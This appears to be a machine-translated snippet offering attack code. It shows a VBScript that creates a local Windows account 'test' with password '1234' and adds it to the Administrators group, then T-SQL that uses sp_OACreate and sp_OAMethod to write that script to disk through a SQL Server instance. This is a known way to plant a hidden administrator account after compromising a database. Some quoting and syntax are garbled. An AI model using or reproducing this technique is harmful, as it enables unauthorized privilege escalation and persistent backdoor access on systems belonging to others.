Code _vbs for the VBS plus Administrator user

Set Wsnetwork=createobject ("Wscript.Network")
os= "winnt://" &wsnetwork.computername
Set ob=getobject (OS) ' Gets ADSI interface, binding
Set Oe=getobject (os& "/administrators,group") ' Property, admin Group
Set Od=ob. Create ("User", "test") ' Create user
Od. SetPassword "1234" ' Set password
Od. SetInfo ' Save
Set of=getobject (os& "/test", user) ' Gets the user
Oe.add os& "/test"

The SQL statement follows, using the sp_OAMethod process:

declare @o int, @f int, @ret int
exec sp_oacreate ' Scripting.FileSystemObject ', @o out
exec sp_OAMethod @o, ' CreateTextFile ', @f out, ' C:\1.vbs ', 1
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Set Wsnetwork=createobject
("Wscript.Network") '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' os= ' winnt://' &wsnetwork.
ComputerName '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Set ob=getobject (OS) '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Set oe=getobject
(os& "/administrators,group") '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Set od=ob. Create
("User", "test") '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' od. SetPassword "1234" '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' od. SetInfo '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Set of=getobject
(os& "/test", user) '
exec @ret = sp_OAMethod @f, ' WriteLine ', NULL, ' Oe.add os& '/test '